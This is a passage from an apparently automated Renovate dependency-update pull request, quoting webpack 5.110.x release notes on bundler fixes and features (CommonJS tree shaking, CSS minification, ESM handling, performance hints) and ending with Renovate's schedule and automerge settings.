require()in arequire.ensurecallback or a computed request. (by @hai-x in #21907)Keep
optimization.minimizea boolean; its options move tominimizeOptions. (by @alexander-akait in #21886)Fix mangled exports read through require() and a leaked internal reference. (by @alexander-akait in #21905)
Fix
newon a default import of a wrapped CommonJS module. (by @alexander-akait in #21876)Throw when a deferred namespace of an async module is forced while it evaluates. (by @alexander-akait in #21871)
Do not report a missing export for a name a side-effect-free barrel defers. (by @alexander-akait in #21874)
Fix queue, URL scheme, dotenv, HTTP module and persistent cache edge cases. (by @alexander-akait in #21901)
Evaluate a deferred import's async dependencies where the import sits. (by @alexander-akait in #21902)
Omit ambiguous
export *names from the module namespace. (by @alexander-akait in #21878)v5.110.2Compare Source
Patch Changes
Fix analyzable ESM baking around cycles, mixed-served wasm and style url maps. (by @alexander-akait in #21851)
Minify more HTML and CSS shorthands, and cut two costs off printing. (by @alexander-akait in #21842)
Report a named import that is never read when it names a missing export. (by @alexander-akait in #21856)
Fix ESM circular reexports, cyclic const TDZ, and defer evaluation order. (by @alexander-akait in #21852)
Stop
output.htmlemitting an unused JS chunk for each generated page. (by @alexander-akait in #21859)Stop emitting the CSS chunk loading runtime when every CSS chunk is initial. (by @alexander-akait in #21862)
Strip a BOM a loader put on a string, and shift a source map that counted it. (by @alexander-akait in #21857)
v5.110.1Compare Source
Patch Changes
Fix a capture-group-less
snapshot.managedPathsRegExp; speed up cache writes. (by @alexander-akait in #21843)Throw
SyntaxError, orWebAssembly.CompileError, from an unparsable module. (by @alexander-akait in #21847)Accept the
optimization.minimize: trueshorthand set by a plugin inapply(). (by @AgentEnder in #21845)v5.110.0Compare Source
Minor Changes
Wrap concatenated modules in lazy
__webpack_require__.cwaccessors and inlinerequire(), keeping a wrapped body's names and side effects intact. (by @hai-x in #21519)Add performance hints reporting what a build costs: duplicate packages and modules, circular dependencies, broad contexts, large modules and chunks, hotspots,
eval, missing PURE annotations, polyfills, redundant dynamic imports, OS-dependent rules, cache effectiveness, how chunks load, what splitting refused, why an optimization was skipped, and rules, defines, externals, aliases and barrel reexports nothing uses. An oversized asset names its largest modules, and an entrypoint carrying the runtime recommendsoptimization.runtimeChunk. Enable every check not set individually withperformance.all, report hints in stats only withperformance.hints: "stats", and get them in a stable order that leaves the build hashes unchanged. (by @alexander-akait in #21841)Add the
descriptionRelativePathmodule rule condition. (by @alexander-akait in #21705)Add OS-independent
globmatching to module rules. (by @alexander-akait in #21771)Report inner-graph, AMD and bare
modulebailouts inoptimizationBailout. (by @alexander-akait in #21740)Allow marking externals as side-effect-free with a
sideEffectsflag. (by @alexander-akait in #21712)Give externals the original request of a context module element. (by @alexander-akait in #21780)
Add the
externalsPresets.nodeModulespreset with anallowlistoption to externalize installed packages, replacing thewebpack-node-externalsplugin. (by @alexander-akait in #21569)Add
output.library.umdAmdContainerfor an AMD-style loader branch in UMD. (by @hai-x in #21770)Resolve
@custom-mediavalues that aretrue/falseor name another custom media. (by @alexander-akait in #21624)Add the
__webpack_css_server_styles__module variable to read the CSS collected while rendering without a DOM, and keep that CSS in the order the styles were applied. (by @alexander-akait in #21576)Patch the HTML
<head>in place on hot update instead of forcing a full reload, including when a<script>that never executed is removed. (by @alexander-akait in #21624)Scope counter names in CSS modules; fix the
counter()counter-style andanimationtimeline keywords. (by @alexander-akait in #21600)Derive
import defer/import sourcefrom the target and fix the source phase. (by @alexander-akait in #21810)Emit analyzable ESM urls for chunks, assets, styles, workers and wasm. (by @alexander-akait in #21788)
Tree shake CommonJS:
module.exportsobject literals, exports destructured from arequire()binding, unused method requires, and unused side-effect-freerequire()calls and reexports. (by @alexander-akait in #21841)Resolve relative entry
baseUrivalues and bake one side of a hash cycle. (by @alexander-akait in #21750)Minify CSS further, only where the document is unchanged: shorthands and box longhands,
font-weight,<position>andfont-stretchkeywords, colors (polar, Lab andhsl()conConfiguration
📅 Schedule: (in timezone America/New_York)
🚦 Automerge: Enabled.
♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 Ignore: Close this PR and you won't be reminded about these updates again.
This PR was generated by Mend Renovate. View the repository job log.